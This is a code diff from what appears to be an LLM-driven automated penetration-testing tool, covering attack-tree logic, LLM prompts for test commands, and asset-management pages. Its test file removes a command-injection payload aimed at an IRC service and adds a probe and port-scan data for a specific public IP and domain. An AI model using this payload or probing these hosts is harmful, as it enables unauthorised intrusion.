1.请生成这些子节点的测试指令,注意不要生成重复的测试指令
2.这些节点的父节点为当前节点请正确生成这些节点的节点路径
'''
bsuccess, node_cmds, commands, strerror,reasoning_content,content = self.node_get_llm_instruction(cur_node, user_Prompt)
#正常不应该会有node_cmds
if not bsuccess: #失败就结束
break
res_str = ""
# LLM记录存数据库
cur_node.llm_sn += 1
post_time = get_local_timestr()
bres = DBM.insert_llm(self.task_id, user_Prompt, reasoning_content, content, post_time, cur_node.llm_sn,cur_node.path)
if not bres:
self.logger.error(f"{cur_node.name}-llm入库失败!")
#把返回的测试指令进行追加
new_commands.extend(commands)
#再验证是否还有缺少的
tmp_nodes = []
for no_instr_node in no_instr_nodes:
bcommand = False
for com in commands:
if no_instr_node in com["path"]:
bcommand = True
break
if bcommand: # 如果存在测试指令,则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令,DS会一直返回指令,还返回on_instruction
continue
# 没有对应指令
tmp_nodes.append(no_instr_node)
res_str = ','.join(tmp_nodes)
no_instr_nodes = tmp_nodes
self.logger.debug("未添加指令的节点,都已完成指令的添加!")
return new_commands
# 处理节点指令
def tree_manager(self, node_cmds, node, commands, DBM):
'''更新渗透测试树
node_cmds是json-list
2025-03-22添加commands参数用于处理LLM对同一个节点返回了测试指令但还返回了no_instruction节点指令
'''
if not node_cmds: # or len(node_cmds)==0: 正常not判断就可以有没有节点指令
return True,commands,0
#对节点指令进行校验
bok,strerror = g_CV.verify_node_cmds(node_cmds)
if not bok: #节点指令存在问题,则不进行后续处理,提交一个错误反馈任务
# 提交llm待处理任务
node.step_num += 1 #单步次数还原一个--暂时只针对有效的返回才算一次
self.put_node_reslist(node, strerror, 2)
return False,commands,0
#message_调整传递时机后,可以先执行添加节点
if not node_cmds: # or len(node_cmds)==0: 正常not判断就可以有没有节点指令
return True, commands, 0
# message_调整传递时机后,可以先执行添加节点
# #对节点数据进行初步验证
# ad_instr_nodes, no_add_nodes = g_CV.verify_node_data(node_cmds)
# if no_add_nodes:#如果有没有添加的节点,默认在当前节点下添加 -- 一般不会有,还没遇到
@ -699,7 +886,7 @@ class TaskObject:
action = node_json["action"]
if action == "add_node": # 新增节点
if node.cur_layer >= self.max_layer:
continue #节点层级达到上限后不允许再添加子节点-- 平级的一样
continue # 节点层级达到上限后不允许再添加子节点-- 平级的一样
parent_node_name = node_json["parent"]
# status = "未完成" #2025-4-11修改MGS-节点指令格式,取消了status
add_node_names = node_json["nodes"].replace('', ',').split(',')
@ -707,8 +894,9 @@ class TaskObject:
if node.name == parent_node_name or parent_node_name.endswith(node.name): # 2233ai,节点名称字段会返回整个路径
# 添加当前节点的子节点 -- 这是标准情况
self.add_children_node(node, add_node_names)
all_add_node.extend(add_node_names) #只有当前节点的子节点才进行指令有无的校验补充
elif node.parent.name == parent_node_name or parent_node_name.endswith(node.parent.name): # 添加当前节点的平级节点
all_add_node.extend(add_node_names) # 只有当前节点的子节点才进行指令有无的校验补充
elif node.parent.name == parent_node_name or parent_node_name.endswith(
node.parent.name): # 添加当前节点的平级节点
# 是添加当前节点的平级节点(当前节点的父节点下添加子节点) --使用2233ai-o3时遇到的情况
self.add_children_node(node.parent, add_node_names)
self.logger.debug("遇到一次添加平级节点")
@ -721,46 +909,48 @@ class TaskObject:
self.logger.debug("遇到一次添加子节点的子节点")
break
if not badd:
self.logger.error(f"添加子节点失败!父节点不是当前节点,不是当前节点的父节点,不是当前节点的子节点,需要介入!!{node_json}---当前节点为:{node.path}") # 丢弃该节点
self.logger.error(
f"添加子节点失败!父节点不是当前节点,不是当前节点的父节点,不是当前节点的子节点,需要介入!!{node_json}---当前节点为:{node.path}") # 丢弃该节点
else: # 未处理的节点指令添加到list
residue_cmd_no_add.append(node_json)
no_instr_nodes = []
#2025-5-12 是否采用本地校验节点是否有指令,如果使用,则no_instruction就可以不用了
# 2025-5-12 是否采用本地校验节点是否有指令,如果使用,则no_instruction就可以不用了
for add_node in all_add_node:
bcommand = False
for com in commands:
if add_node in com:
if add_node in com["path"]: # 这里要不要改成匹配尾部字串?
bcommand = True
break
if bcommand: # 如果存在测试指令,则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令,DS会一直返回指令,还返回on_instruction
continue
#没有对应指令
# 没有对应指令
no_instr_nodes.append(add_node)
if no_instr_nodes: # 阻塞式,在当前节点提交补充信息,完善节点指令 -- 优势是省token
new_commands = self.get_other_instruction(no_instr_nodes, DBM, node)
commands.extend(new_commands)
#执行剩余的节点指令--不分先后
# 执行剩余的节点指令--不分先后
for node_json in residue_cmd_no_add:
action = node_json["action"]
if action == "find_vul":
node_name = node_json["node"]
vul_node = None
if node.name == node_name or node_name.endswith(node.name): #正常应该是当前节点漏洞信息--暂时只考虑只会有一个漏洞
if node.name == node_name or node_name.endswith(node.name): # 正常应该是当前节点漏洞信息--暂时只考虑只会有一个漏洞
vul_node = node
else: #匹配子节点
else: # 匹配子节点
for child in node.children:
if child.name == node_name or node_name.endswith(child.name):
vul_node = node
break
if vul_node: #找到对应了漏洞节点
if vul_node: # 找到对应了漏洞节点
try:
vul_node.vul_type = node_json["vulnerability"]["name"]
vul_node.vul_grade = node_json["vulnerability"]["risk"]
vul_node.vul_info = node_json["vulnerability"]["info"]
#保存到数据库 --- 数据库有记录多个,tree只保留最新一个
DBM.insert_taks_vul(self.task_id,vul_node.name,vul_node.path,vul_node.vul_type,vul_node.vul_grade,
# 保存到数据库 --- 数据库有记录多个,tree只保留最新一个
DBM.insert_taks_vul(self.task_id, vul_node.name, vul_node.path, vul_node.vul_type,
vul_node.vul_grade,
vul_node.vul_info)
except:
self.logger.error("漏洞信息错误")
@ -775,65 +965,17 @@ class TaskObject:
else:
str_user = f"遇到不是修改本节点状态的,需要介入!!{node_json}--当前节点{node.path}"
self.logger.error(str_user)
elif action == "asset":
self.cur_stage = 1 # 进入渗透测试阶段
print(f"{node_json}")
IPS = self.dedupe_ports(node_json["IPS"]) # ips的端口做去重,ds用到端口重复的情况
URL = node_json["URL"]
self.add_update_assets(URL, IPS, DBM) # 网络资产信息入库或更新
# 节点树增加节点,并初始化信息采集的数据 ---- 推进到下一阶段
self.update_attack_tree(URL, IPS, node)
else:
self.logger.error("****不应该执行到这!程序逻辑存在问题!")
return True,commands,len(add_node_names)
#阻塞轮询补充指令
def get_other_instruction(self,nodes,DBM,cur_node):
res_str = ','.join(nodes)
new_commands = []
no_instr_nodes = nodes
ierror = 0
while res_str:
self.logger.debug(f"开始针对f{res_str}这些节点请求测试指令")
user_Prompt = f'''
当前分支路径{cur_node.path}
当前节点信息
- 节点名称{cur_node.name}
- 节点状态{cur_node.status}
- 漏洞类型{cur_node.vul_type}
反馈类型需要补充以下子节点的测试指令:{res_str}
任务
1.请生成这些子节点的测试指令,注意不要生成重复的测试指令
2.这些节点的父节点为当前节点请正确生成这些节点的节点路径
'''
fake_prompt = self.DataFilter.filter_prompt(user_Prompt)
#正常不应该会有node_cmds
bsuccess,node_cmds, commands, reasoning_content, content = self.LLM.get_llm_instruction(fake_prompt,
cur_node,self.DataFilter) # message要更新
if not bsuccess:
self.logger.error(f"模型接口调用出错:{content}")
ierror += 1
if ierror == 3: #重试3次
break
continue# res_str没有调整,重复使用
res_str = ""
# LLM记录存数据库
cur_node.llm_sn += 1
post_time = get_local_timestr()
bres = DBM.insert_llm(self.task_id, user_Prompt, reasoning_content, content, post_time, cur_node.llm_sn,cur_node.path)
if not bres:
self.logger.error(f"{cur_node.name}-llm入库失败!")
#把返回的测试指令进行追加
new_commands.extend(commands)
#再验证是否还有缺少的
tmp_nodes = []
for no_instr_node in no_instr_nodes:
bcommand = False
for com in commands:
if no_instr_node in com:
bcommand = True
break
if bcommand: # 如果存在测试指令,则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令,DS会一直返回指令,还返回on_instruction
continue
# 没有对应指令
tmp_nodes.append(no_instr_node)
res_str = ','.join(tmp_nodes)
no_instr_nodes = tmp_nodes
self.logger.debug("未添加指令的节点,都已完成指令的添加!")
return new_commands
return True, commands, len(add_node_names)
#-----------------任务的启停--------------------
def init_task(self,task_id,attack_tree = None):
@ -849,11 +991,11 @@ class TaskObject:
else: # 无值的情况是new_create
root_node = TreeNode(self.target, self.task_id,0) # 根节点
self.attack_tree = AttackTree(root_node) # 创建测试树,同时更新根节点相关内容
self.LLM.build_initial_prompt(root_node) # 对根节点初始化system-msg
# 插入一个user消息
# 提交第一个llm任务,开始工作
know_info = f"本测试主机的IP地址为:{self.local_ip}"
self.put_node_reslist(root_node, know_info, 0) # 入待提交list,若是人工模式则不入待办MQ
#self.LLM.build_initial_prompt(root_node) # 对根节点初始化system-msg
self.LLM.build_init_info_prompt(root_node) #新建任务先开始信息收集工作 2025-5-15
know_info = ""
self.put_node_reslist(root_node,know_info,-1) #新增一个-1的状态值
# 初始保存个attack_tree文件
g_PKM.WriteData(self.attack_tree, str(self.task_id))

2
pipfile

@ -19,6 +19,8 @@ pip install smbprotocol -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install ipwhois -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install geoip2 -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install python-whois -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install tldextract -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install sublist3r -i https://pypi.tuna.tsinghua.edu.cn/simple
apt install sublist3r

43
test.py

@ -81,32 +81,13 @@ if __name__ == "__main__":
elif test_type == 1:
# # 获取所有自定义函数详情 HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen']
instruction = '''python-code
import socket
import requests
def dynamic_fun():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect(('192.168.3.108', 6667))
payload = 'AB; bash -c "echo vulnerable > /tmp/irc_test"\\r\\n'
s.send(payload.encode())
s.close()
check_s = socket.socket()
check_s.settimeout(5)
check_s.connect(('192.168.3.108', 6667))
check_s.send(b'AB; ls /tmp\\r\\n')
response = check_s.recv(1024).decode()
check_s.close()
if 'irc_test' in response:
return (True, "检测到命令注入漏洞")
return (False, "未检测到有效漏洞响应")
r = requests.get('https://58.216.217.67/server-status', verify=False, timeout=5)
return (1, f'HTTP:{r.status_code} Headers:{r.headers}') if r.status_code==200 else (0, '')
except Exception as e:
return (False, f"检测失败: {str(e)}")
finally:
s.close() if 's' in locals() else None
check_s.close() if 'check_s' in locals() else None
return (0, str(e))
'''
task_Object.PythonM.start_pool() #开个子进程池就行
start_time, end_time, bsuccess, instr, reslut, source_result, ext_params = task_Object.do_instruction(instruction)
@ -145,23 +126,31 @@ def dynamic_fun():
for node_name in unique_names:
print(node_name)
elif test_type == 4: # 修改Messages
attact_tree = g_PKM.ReadData("60")
attact_tree = g_PKM.ReadData("88")
# 创建一个新的节点
from mycode.AttackMap import TreeNode
testnode = TreeNode("test", 0,0)
LLM.build_initial_prompt(testnode) # 新的Message
LLM.build_init_attact_prompt(testnode) # 新的Message
systems = testnode.parent_messages[0]["content"]
# print(systems)
# 遍历node,查看有instr的ndoe
nodes = attact_tree.traverse_bfs()
for node in nodes:
node.parent_messages[0]["content"] = systems
g_PKM.WriteData(attact_tree, "27")
g_PKM.WriteData(attact_tree, "88")
print("完成Messgae更新")
elif test_type ==5:
mytest.dynamic_fun()
elif test_type == 6:
mytest.tmp_test()
import json
strIPS = '''
[ {"action":"asset","URL":{"Domain":"www.czzfkjxx.cn","Subdomains":[],"Registrant":"","Email":"","Registrar":"","Creation_date":"","Expiration_date":""},"IPS":[{"IP":"58.216.217.67","IPtype":"IPv4","Ports":[ {"Port":"25","Service":"smtp?","Version":"","Protocol":"tcp","Status":"open"}, {"Port":"80","Service":"http","Version":"Apache httpd","Protocol":"tcp","Status":"open"}, {"Port":"110","Service":"pop3?","Version":"","Protocol":"tcp","Status":"open"}, {"Port":"443","Service":"ssl/http","Version":"Apache httpd","Protocol":"tcp","Status":"open"} ]}]} ]
'''
node_json = json.loads(strIPS)
IPS = node_json[0]["IPS"]
URL = node_json[0]["URL"]
#task_Object.add_update_assets(URL,IPS,app_DBM)
task_Object.update_attack_tree(URL, IPS, None)
elif test_type == 7:
task_Object.test(50)
else:

2
web/API/__init__.py

@ -1,4 +1,4 @@
from quart import Blueprint
#定义模块
api = Blueprint('api',__name__)
from . import user,task,wsm,system
from . import user,task,wsm,system,assets

170
web/API/assets.py

@ -0,0 +1,170 @@
from . import api
from quart import Quart, render_template, redirect, url_for, request,jsonify
from mycode.AssetsManager import g_AssetsM
from web.common.utils import login_required
@api.route('/assets/getipassets',methods=['POST'])
@login_required
async def get_IP_assets(): #查询IP资产数据
data = await request.get_json()
IP = data.get("IP")
user = data.get("user")
safe_rank = data.get("safe_rank")
ip_assets = g_AssetsM.get_IP_assets(IP,user,safe_rank)
return jsonify({"ip_assets":ip_assets})
@api.route('/assets/getipinfo',methods=['POST'])
@login_required
async def get_IP_info(): #获取该IP资产的基本信息
data = await request.get_json()
IP = data.get("IP")
ip_info = g_AssetsM.get_IP_info(IP)
return jsonify({"ip_info":ip_info})
@api.route('/assets/getassetsuser',methods=['POST'])
@login_required
async def get_assets_user():
data = await request.get_json()
uname = data.get("keyword")
user_list = g_AssetsM.get_assets_users(uname)
return jsonify({"user_list": user_list})
@api.route('/assets/updateipinfo',methods=['POST'])
@login_required
async def update_IP_info(): #获取该IP资产的基本信息
data = await request.get_json()
IP = data.get("cur_ip")
owner_id = data.get("owner_id")
bsuccess,error = g_AssetsM.update_assets_users(IP,owner_id)
return jsonify({"bsuccess":bsuccess})
@api.route('/assets/getportlatest',methods=['POST'])
@login_required
async def get_port_latest(): #获取端口的最新数据
data = await request.get_json()
ip = data.get("ip")
if not ip:
return jsonify({'error': '缺少 ip 参数'}), 400
port_data = g_AssetsM.get_port_latest(ip)
return jsonify({"port_data":port_data})
@api.route('/assets/getporthistory',methods=['POST'])
@login_required
async def get_port_history(): #获取端口的历史数据
data = await request.get_json()
ip = data.get("ip")
if not ip:
return jsonify({'error': '缺少 ip 参数'}), 400
times,port_dict = g_AssetsM.get_port_history(ip)
return jsonify({"times":times,"entries":port_dict})
@api.route('/assets/geturllatest',methods=['POST'])
@login_required
async def get_url_latest():
data = await request.get_json()
ip = data.get("ip")
if not ip:
return jsonify({'error': '缺少 ip 参数'}), 400
ip_url_data = g_AssetsM.get_ip_url_latest(ip)
if not ip_url_data:
ip_url_data=[]
return jsonify({"ip_url_data": ip_url_data})
@api.route('/assets/geturlhistory',methods=['POST'])
@login_required
async def get_url_history():
data = await request.get_json()
ip = data.get("ip")
if not ip:
return jsonify({'error': '缺少 ip 参数'}), 400
ip_url_data = g_AssetsM.get_ip_url_history(ip)
if not ip_url_data:
ip_url_data=[]
return jsonify({"ip_url_data": ip_url_data})
@api.route('/assets/getvuldata',methods=['POST'])
@login_required
async def get_vul_data():
data = await request.get_json() #ip,nodeName,vulType,vulLevel
ip = data.get("ip")
if not ip:
return jsonify({'error': '缺少 ip 参数'}), 400
nodeName = data.get("nodeName")
vulType = data.get("vulType")
vulLevel = data.get("vulLevel")
vuls = g_AssetsM.get_vul_data(ip,nodeName,vulType,vulLevel)
return jsonify({"vuls": vuls})
@api.route('/assets/delipassets',methods=['POST'])
@login_required
async def del_ip_assets():
data = await request.get_json() # ip,nodeName,vulType,vulLevel
ip = data.get("IP")
if not ip:
return jsonify({'error': '缺少 ip 参数'}), 400
bsuccess,error = g_AssetsM.del_ip_assets(ip)
return jsonify({"bsuccess": bsuccess,"error":error})
@api.route('/assets/geturlassets', methods=['POST'])
@login_required
async def get_url_assets(): #url_filter,user_filter,email_filter
data = await request.get_json()
url = data.get("url_filter")
owner = data.get("user_filter")
email = data.get("email_filter")
url_assets = g_AssetsM.get_url_assets(url,owner,email)
return jsonify({"url_assets": url_assets})
@api.route('/assets/updateurlinfo', methods=['POST'])
@login_required
async def update_url_info():
data = await request.get_json()
url_id = data.get("cur_url_id")
owner_id = data.get("owner_id")
bsuccess, error = g_AssetsM.update_assets_users(url_id, owner_id,2)
return jsonify({"bsuccess": bsuccess,"error":error})
@api.route('/assets/geturltoIP', methods=['POST'])
@login_required
async def get_url_to_ip():
data = await request.get_json()
url_id = data.get("cur_url_id")
last_to_ips,his_to_ips = g_AssetsM.get_url_to_ip(url_id)
return jsonify({"last_to_ips":last_to_ips,"his_to_ips":his_to_ips})
@api.route('/assets/delurlassets', methods=['POST'])
@login_required
async def del_url_assets():
data = await request.get_json()
url_id = data.get("url")
bsuccess,error = g_AssetsM.del_url_assets(url_id)
return jsonify({"bsuccess": bsuccess, "error": error})
@api.route('/assets/getOwners', methods=['POST'])
@login_required
async def getOwners():
data = await request.get_json()
owner = data.get("owner")
owner_type = data.get("owner_type")
contact = data.get("contact")
tellnum = data.get("tellnum")
owner_list = g_AssetsM.get_owners(owner,owner_type,contact,tellnum)
return jsonify({"owner_list": owner_list})
@api.route('/assets/addUpdateOwners', methods=['POST'])
@login_required
async def add_update_Owner():
data = await request.get_json() #{data,currentMode}
owner_data = data.get("data")
do_mode = data.get("currentMode")
bsuccess,error,owner_list = g_AssetsM.add_update_owner(owner_data, do_mode)
return jsonify({"owner_list": owner_list,"bsuccess":bsuccess,"error":error})
@api.route('/assets/delOwners', methods=['POST'])
@login_required
async def del_Owner():
data = await request.get_json()
id = data.get("id")
bsuccess,error = g_AssetsM.del_owner(id)
return jsonify({"bsuccess": bsuccess, "error": error})

1023
web/main/static/resources/scripts/assets_manager.js

File diff suppressed because it is too large

2
web/main/static/resources/scripts/task_manager.js

@ -9,7 +9,7 @@ window.addEventListener("beforeunload", function() {
ws.close();
ws =null;
}
task_list = []
task_list = [];
cur_task = null;
cur_task_id = 0;
});

593
web/main/templates/assets_manager.html

@ -4,13 +4,604 @@
<!-- 页面样式块 -->
{% block style %}
/* 表格固定行高与居中 */
.table-fixed tbody tr { height: 40px; }
.table-fixed td, .table-fixed th { vertical-align: middle; text-align: center; }
/* 操作按钮间距 */
.asset-op-btn { margin: 0 2px; }
.offcanvas {
z-index: 1060 !important;
}
#historyPortTable {
table-layout: fixed;
width: 100%; /* 或者你想要的整体宽度 */
}
#historyPortTable th {
/* 你在 JS 动态插入 style="width:120px" */
}
#historyPortTable td {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
{% endblock %}
<!-- 页面内容块 -->
{% block content %}
<h3 style="text-align: center;padding: 10px"> 功能规划中,在二期实现。。。</h3>
<div class="container-xxl">
<ul class="nav nav-tabs" id="assetTab" role="tablist">
<li class="nav-item" role="presentation">
<button class="nav-link active" id="ipTab" data-bs-toggle="tab" data-bs-target="#ipAssets" type="button" role="tab">IP 资产</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="domainTab" data-bs-toggle="tab" data-bs-target="#domainAssets" type="button" role="tab">域名资产</button>
</li>
</ul>
<div class="tab-content p-1 border border-top-0" id="assetTabContent">
<!-- IP 资产 -->
<div class="tab-pane fade show active" id="ipAssets" role="tabpanel">
<!-- 查询区 -->
<div class="row mb-3">
<div class="col-3"><input type="text" class="form-control" id="ipFilter" placeholder="资产 IP"></div>
<div class="col-3"><input type="text" class="form-control" id="userFilter" placeholder="所属用户"></div>
<div class="col-3">
<select class="form-select" id="riskFilter">
<option value="">风险级别</option>
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
</select>
</div>
<div class="col-3 text-end">
<button class="btn btn-primary" id="ipSearchBtn">查询</button>
<button class="btn btn-primary" id="ipExportBtn">导出</button>
</div>
</div>
<!-- 表格 -->
<div class="table-responsive">
<table class="table table-bordered table-fixed" id="ipTable">
<thead>
<tr>
<th style="width:50px;">序号</th>
<th>资产IP</th>
<th>所属用户</th>
<th style="width:50px;">风险</th>
<th style="width:10%;">最新检测时间</th>
<th style="width:50px;">端口</th>
<th style="width:100px">关联域名</th>
<th style="width:35%;">操作</th>
</tr>
</thead>
<tbody>
<!-- JS 动态插入 15 行 -->
</tbody>
</table>
</div>
<!-- 分页 -->
<nav class="mt-0">
<ul class="pagination justify-content-end" id="ipPagination">
<li class="page-item"><a class="page-link" href="#" id="ipPrev">上一页</a></li>
<li class="page-item"><a class="page-link" href="#" id="ipNext">下一页</a></li>
</ul>
</nav>
</div>
<!-- 域名资产 -->
<div class="tab-pane fade" id="domainAssets" role="tabpanel">
<!-- 筛选区域 -->
<div class="row mb-3">
<div class="col-3"><input type="text" class="form-control" id="urlFilter" placeholder="域名"></div>
<div class="col-3"><input type="text" class="form-control" id="ownerFilter" placeholder="所属用户"></div>
<div class="col-3"><input type="text" class="form-control" id="emailFilter" placeholder="注册邮箱"></div>
<div class="col-3 text-end">
<button class="btn btn-primary" id="urlSearchBtn">查询</button>
<button class="btn btn-primary" id="urlExportBtn">导出</button>
</div>
</div>
<!-- 表格区域 -->
<div class="table-responsive">
<table class="table table-bordered table-fixed" id="urlTable">
<thead>
<tr>
<th style="width:5%;">序号</th>
<th style="width:15%;">域名</th>
<th style="width:15%;">所属用户</th>
<th style="width:10%;">注册邮箱</th>
<th style="width:10%;">最新检测时间</th>
<th style="width:10%;">过期日期</th>
<th style="width:5%;">IP</th>
<th style="width:30%;">操作</th>
</tr>
</thead>
<tbody>
<!-- JS 动态插入 10 行 -->
</tbody>
</table>
</div>
<!-- 分页控件 -->
<nav class="mt-0">
<ul class="pagination justify-content-end" id="urlPagination">
<li class="page-item"><a class="page-link" href="#" id="urlPrev">上一页</a></li>
<li class="page-item"><a class="page-link" href="#" id="urlNext">下一页</a></li>
</ul>
</nav>
</div>
</div>
</div>
<!-- IP资产信息------------------------- -->
<!-- 基本信息 Modal -->
<div class="modal fade" id="ipBasicInfoModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-lg modal-dialog-centered">
<div class="modal-content">
<div class="modal-header">
<h3 class="modal-title fw-bold">基本信息</h3>
<button class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form id="ipInfoForm">
<div class="row gy-3">
<div class="col-md-6">
<label class="fw-bold">IP 地址:</label>
<span id="info_ip"></span>
</div>
<div class="col-md-6">
<label class="fw-bold">风险等级:</label>
<span id="info_risk"></span>
</div>
<div class="col-md-12">
<label class="fw-bold">最新检测时间:</label>
<span id="info_scanTime"></span>
</div>
<div class="col-md-6">
<label class="fw-bold">所属用户:</label>
<span id="info_owner"></span>
</div>
<div class="col-md-6">
<button type="button" id="btnChooseOwner" class="btn btn-primary btn-sm ms-3">
修改
</button>
<button type="button" id="btnDelOwner" class="btn btn-danger btn-sm ms-3">
删除
</button>
</div>
<div class="col-md-6">
<label class="fw-bold mb-1" for="contactName">联系人:</label>
<span id="contactName"></span>
<!-- <input id="contactName" name="contactName" class="form-control">-->
</div>
<div class="col-md-6">
<label class="fw-bold mb-1" for="contactPhone">联系电话:</label>
<span id="contactPhone"></span>
<!-- <input id="contactPhone" name="contactPhone" class="form-control">-->
</div>
</div>
</form>
</div>
<div class="modal-footer">
<button id="saveIpInfo" class="btn btn-primary">保存</button>
<button class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>
<!-- 侧边 Drawer:选择所属用户 -->
<div class="offcanvas offcanvas-start" tabindex="-1" id="ownerDrawer">
<div class="offcanvas-header">
<h5 class="offcanvas-title">选择所属用户</h5>
<button class="btn-close" data-bs-dismiss="offcanvas"></button>
</div>
<div class="offcanvas-body p-3">
<div class="input-group mb-3">
<input type="text" id="ownerSearchKeyword" class="form-control" placeholder="搜索用户名…">
<button class="btn btn-outline-secondary" id="btnSearchOwner">搜索</button>
</div>
<table class="table table-sm align-middle">
<thead>
<tr><th style="width:60px;">序号</th><th>用户名</th><th style="width:80px;">操作</th></tr>
</thead>
<tbody id="ownerTableBody"></tbody>
</table>
</div>
</div>
<!-- 端口数据 Modal -->
<div class="modal fade" id="portDataModal" tabindex="-1" aria-labelledby="portDataModalLabel" aria-hidden="true">
<div class="modal-dialog modal-xl modal-dialog-centered" style="max-width:90vw;">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title fw-bold" id="portDataModalLabel">端口数据</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="关闭"></button>
</div>
<div class="modal-body">
<!-- Nav tabs -->
<ul class="nav nav-tabs" id="portTab" role="tablist">
<li class="nav-item" role="presentation">
<button class="nav-link active" id="latestTab" data-bs-toggle="tab" data-bs-target="#latestPane" type="button" role="tab">
最新数据
</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="historyTab" data-bs-toggle="tab" data-bs-target="#historyPane" type="button" role="tab">
历史数据
</button>
</li>
</ul>
<!-- Tab panes -->
<div class="tab-content pt-0" id="portTabContent">
<!-- 最新数据 -->
<div class="tab-pane fade show active" id="latestPane" role="tabpanel">
<div class="table-responsive" style="max-height:480px; overflow:auto;">
<table class="table table-bordered table-hover text-center" id="latestPortTable">
<thead>
<tr>
<th style="width:60px">序号</th>
<th>端口号</th>
<th>服务</th>
<th>版本号</th>
<th>端口状态</th>
</tr>
</thead>
<tbody></tbody>
</table>
</div>
<nav>
<ul class="pagination justify-content-end" id="latestPortPagination">
<li class="page-item"><a class="page-link" href="#" id="latestPrev">上一页</a></li>
<li class="page-item"><a class="page-link" href="#" id="latestNext">下一页</a></li>
</ul>
</nav>
</div>
<!-- 历史数据 -->
<div class="tab-pane fade" id="historyPane" role="tabpanel">
<div class="table-responsive" style="height:515px; overflow:auto;">
<table class="table table-bordered text-center" id="historyPortTable" style="table-layout:fixed;min-width:600px;">
<thead></thead>
<tbody></tbody>
</table>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button class="btn btn-primary" id="exportPortData">导出</button>
<button class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>
<!-- 漏洞数据 Modal -->
<div class="modal fade" id="vulDataModal" tabindex="-1" aria-labelledby="vulDataModalLabel" aria-hidden="true">
<div class="modal-dialog modal-xl modal-dialog-centered" style="max-width:90vw;">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title fw-bold" id="vulDataModalLabel">漏洞数据</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="关闭"></button>
</div>
<div class="modal-body">
<!-- 搜索区域 -->
<div class="row search-area">
<div class="col-3">
<input
type="text"
class="form-control"
id="vulNodeName"
placeholder="节点名称"
/>
</div>
<div class="col-3">
<input
type="text"
class="form-control"
id="vulType"
placeholder="漏洞类型"
/>
</div>
<div class="col-3">
<select class="form-select" id="vulLevel">
<option value="">漏洞级别</option>
<option value="低危"></option>
<option value="中危"></option>
<option value="高危"></option>
</select>
</div>
<div class="col-2">
<button class="btn btn-primary" id="vulSearchBtn">
查询
</button>
<button class="btn btn-primary" id="vulExportBtn">
导出
</button>
</div>
</div>
<table class="table table-bordered table-hover" id="vulTable">
<colgroup>
<col style="width: 5%;">
<col style="width: 35%;">
<col style="width: 15%;">
<col style="width: 10%;" class="wrap-cell">
<col style="width: auto;">
</colgroup>
<thead>
<tr>
<th>序号</th>
<th>节点路径</th>
<th>漏洞类型</th>
<th>漏洞级别</th>
<th>漏洞说明</th>
</tr>
</thead>
<tbody>
<!-- 默认显示 10 行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination justify-content-end" id="vulPagination">
<li class="page-item"><a class="page-link" href="#" id="vulPrev">上一页</a></li>
<li class="page-item"><a class="page-link" href="#" id="vulNext">下一页</a></li>
</ul>
</nav>
</div>
<div class="modal-footer">
<button class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>
<!-- 域名数据 Modal -->
<div class="modal fade" id="urlDataModal" tabindex="-1" aria-labelledby="urlDataModalLabel" aria-hidden="true">
<div class="modal-dialog modal-xl modal-dialog-centered" style="max-width:90vw;">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title fw-bold" id="urlDataModalLabel">关联域名</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="关闭"></button>
</div>
<div class="modal-body">
<!-- Nav tabs -->
<ul class="nav nav-tabs" id="urlTab" role="tablist">
<li class="nav-item" role="presentation">
<button class="nav-link active" id="urlLatestTab" data-bs-toggle="tab" data-bs-target="#urlLatestPane" type="button" role="tab">
最新数据
</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="urlHistoryTab" data-bs-toggle="tab" data-bs-target="#urlHistoryPane" type="button" role="tab">
历史数据
</button>
</li>
</ul>
<!-- Tab panes -->
<div class="tab-content pt-3" id="urlTabContent">
<!-- 最新数据 -->
<div class="tab-pane fade show active" id="urlLatestPane" role="tabpanel">
<div class="table-responsive mb-2" style="max-height:480px; overflow:auto;">
<table class="table table-bordered table-hover text-center" id="latestUrlTable">
<thead>
<tr>
<th style="width:50px">序号</th>
<th>域名</th>
<th>子域名</th>
<th>注册人</th>
<th>注册邮箱</th>
<th>创建时间</th>
<th>过期时间</th>
</tr>
</thead>
<tbody></tbody>
</table>
</div>
<nav>
<ul class="pagination justify-content-end" id="latestUrlPagination">
<li class="page-item"><a class="page-link" href="#" id="latestUrlPrev">上一页</a></li>
<li class="page-item"><a class="page-link" href="#" id="latestUrlNext">下一页</a></li>
</ul>
</nav>
</div>
<!-- 历史数据 -->
<div class="tab-pane fade" id="urlHistoryPane" role="tabpanel">
<div class="table-responsive mb-2" style="max-height:480px; overflow:auto;">
<table class="table table-bordered table-hover text-center" id="historyUrlTable">
<thead>
<tr>
<th style="width:50px">序号</th>
<th>时间</th>
<th>变化类型</th>
<th>关联域名</th>
</tr>
</thead>
<tbody></tbody>
</table>
</div>
<nav>
